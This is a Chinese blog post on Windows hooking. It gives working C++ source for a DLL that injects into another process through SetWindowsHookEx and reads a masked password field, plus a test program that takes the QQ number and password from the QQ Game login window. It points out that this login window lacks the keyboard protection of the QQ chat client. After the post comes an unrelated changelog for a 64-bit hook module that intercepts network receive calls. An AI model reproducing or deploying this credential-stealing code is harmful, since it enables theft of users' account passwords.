C++ HOOK应用

    通过HOOK获取QQ游戏登录密码

    不得不先说一下API函数SendMessage:

    使用SendMessage向编辑框窗口发送WM_GETTEST消息,可以轻易获取到编辑框的内容(就算这个窗口不属于同一进程)。

    但是有一个特例,那就是当编辑框窗口具有ES_PASSWORD风格(即密码输入框)且不输入同一进程时,使用上面的方法就失效了。

    通俗的说,就是当你要使用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。

    这也许是微软从安全角度考虑做的手脚吧。

    如何解决这个问题?

    如果我们能将SendMessage放到目标进程中执行问题就解决了。因为属于同一个进程时使用SendMessage是可以读取到密码框的内容的。

    如何将SendMessage放到目标进程中执行呢?使用HOOK(或者进程注入)。

    关于钩子(HOOK)

    钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

    当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。

    钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。

    这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

    如何安装一个钩子?

    使用API函数SetWindowsHookEx,原型及参数说明如下

HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWORD dwThreadId // 目标线程ID,即钩子的宿主线程
);

    注意:当最后一个参数为0时表示安装的是全局钩子,此时要求钩子函数必须要在DLL中。

    MSDN上关于这个函数的说明很详细的。

    准备活动做完了。下面是本程序的实现:

    (1) GetWindowTextRemote.DLL

    该DLL导出了一个函数GetWindowTextRemote,其它应用程序通过调用这个函数就能实现对其它应用程序密码编辑框内容的读取。

//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到远程进程
// 从远程编辑框控件中获取密码
//
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );

return strlen(lpString);
}

另一个重要的函数就是钩子过程了:
//-------------------------------------------------------
// HookProc
// 由远程进程执行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到读取密码消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//读取密码编辑框的内容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸载钩子
UnhookWindowsHookEx(g_hHook );
}
//将消息处理权转让给下一个钩子函数
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

    注意:安装Hook的进程加载DLL,别的进程在运行的过程中,由系统在该进程空间注入这个DLL.所谓注入就是把Hook DLL的执行代码映射到这个进程的内存空间。

    虽然进程有若干个,可是该DLL的执行代码只有一份。

    不同的进程全局Hook DLL的执行代码是共享的,可是全局变量并不共享(这样可以实现某种程度的隔离,对于增进系统的稳定性和安全性是很有必要的)。

    但是如果全局变量不共享,进程通信就会受限,比如本例中,在目标进程中使用SendMessage获取到的密码如何传递给安装HOOK的进程就是一个问题?

    解决这个问题的方法就是使用共享节,通过共享节可以使全部变量实现共享。如下所示:

//-------------------------------------------------------
// 共享数据区
// 共享数据区中的数据在DLL被映射的进程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要读取的编辑框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定义消息,通知远程进程读取编辑框控件的内容
char g_szPassword [256] = { '\0' }; //保存编辑框控件的缓存区
#pragma data_seg ()

    使用共享节时要添加如下的链接选项:#pragma comment(linker,"/SECTION:。shared,RWS")

    到此,DLL的内就结束了。

    在此特别感谢codeproject的Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into Another Process》,也不会有我的这篇日志。

    完整的代码在附件中。

(2)测试程序-获取QQ游戏登录密码

    接下来就是我们的测试程序了,这个测试程序实现的功能就是“获得QQ游戏登录框中的QQ号和密码”,这是一个MFC程序,关键代码如下所示:

    我为什么不获取QQ聊天登录窗口上的密码而要获取QQ游戏登录窗口上的QQ密码呢?

    这是因为QQ聊天登录时,QQ程序做了特殊处理(Nprotect键盘加密技术),使用HOOK也是读取不到密码的。但QQ游戏登录时却没有这样的保护。

    //先获取QQ游戏登录窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框

void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//获取QQ游戏登录窗口句柄
parenthwnd=::FindWindow(NULL,"QQ游戏");
if(parenthwnd)
{
//遍历子窗口,查找QQ号和密码输入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//号码输入框
//远程进程的非密码框内容可以直接采用SendMessage发送WM_GETTEXT获取到
if(0x50010202==style)//号码输入框的样式是0x50010202,这是使用Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密码输入框
//远程进程的密码框内容采用HOOK WH_CALLWNDPROC获取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//动态调用GetWindowTextRemote.DLL中的GetWindowTextRemote函数读取远程进程的密码编辑框内容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
wow64_hook 源码历史更新 --------------------------------------------------------------- 2021/4/16  模块源码1.8.7 更新: 1:重新架构了穿插汇编指令,优化了一些代码和流程 2:在 远程hook64指令_安装()时新增可回调的3个自定义参数值,这些值在回调接口的[寄存器64.自定义值1;2;3]里可获取到该值 3:修复 寻找无效8字节指令地址()中一个重要BUG,此BUG极大可能导致之前版本在 远程hook64指令_安装()时即导致目标程序崩溃的现象 本次更新比较重要 建议使用者更新到此版本使用............ --------------------------------------------------------------- 2021/4/15  模块源码1.8.6 更新: 1:新增3组函数:X64_取模块代码区起始地址(),X64_取模块入口地址(),X64_取模块代码执行段大小() 2:自定义类型:模块信息64,的成员构成新增改动为 以下,在枚举模块中亦可直接取得 成员 模块基址, 长整数型, , , 模块映像的内存地址 也称为句柄 成员 模块长度, 整数型, , , 整个模块文件长度 成员 模块入口, 长整数型, , , 模块入口函数地址 如 Mian/DllMain 成员 模块代码入口, 长整数型, , , 模块代码执行区起始地址 成员 模块代码长度, 整数型, , , 模块代码执行区的长度 成员 模块名称, 文本型, , , 文件名称 成员 模块路径, 文本型, , , 完整的路径地址 3:新消息接口()远程返回_调用回调子程序()优化了代码严谨性,减少hook目标崩溃的可能性 4:寻找无效8字节指令地址()由之前的全模块查找 改动为 在模块代码执行区查找 5:改写模块实列为 一对多的模式 6:模块实列操作控件的方式由变量改为堆内存,避免引起多线程自身崩溃 7:模块实列 对 recv,recvfrom两个函数的hook方式由原先 在回调内 暂停recv-->recv_call-->恢复recv,的方式改为经过特殊改造的 recv_call,这个call经过特殊处理,在recv回调函数内调用,用来取得真实长度,这个调用会绕过hook位置,所以不会触发 recv回调,详见源码 8:修改了一些已知可能出现的问题 --------------------------------------------------------------- 2021/4/12 模块源码 v1.8.2更新 1:修复 x64_远调用函数()在 易语言 主线程调用时造成消息无法回调,导致易语言主线程窗口卡死的问题。      感谢楼下易友发现的BUG,已经第一时间更新 --------------------------------------------------------------- 2021/4/12 模块源码 v1.8.1更新 1:修复 hook全部卸载时的流程写法的一个错误,由于句柄的提前关闭导致多个hook点卸载不干净的问题 2:改写了消息回调时线程传参的代码优化,优化了其他一些小问题 3:  鉴于很多朋友需要,改写了模块自带实列,对TCP,UDP的两组封包函数做了hook实列写法 4:列子中同样增加对x64_远调用函数()的应用写了几个列子,如使用套接字取得本地或远端IP端口API调用的的应用实列 5:本hook模块不支持非模块内存区hook,如申请的动态分配页等,不是不能支持,只是觉得没有任何意义,对这方面有需求的,自行改写模块源码使用 提醒:hook回调函数中尽量减少耗时代码,时间越长返回越慢,回调中谨慎操作控件,如必须要用到可参考源码中实列写法采用线程操作 --------------------------------------------------------------- 2021/3/1   模块源码v1.6更新: 1:修复  x64_远程调用函数()命令,在没有提供 寄存器 参数时,没有返回值的BUG。 --------------------------------------------------------------- 2021/2/28 模块源码v1.5更新: 一:修复win7 64位系统下枚举模块 出现部分模块长度出现负数的问题,从而导致部分win7用户不能使用 二:强化 远程hook64指令_安装 的稳定性:        1,穿插代码中增加对标志位的保护,避免hook位置长度下一条指令为跳转时产生跳转错乱的问题,强化了hook任意位置的定位        2,因为穿插代码中会调用AP

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值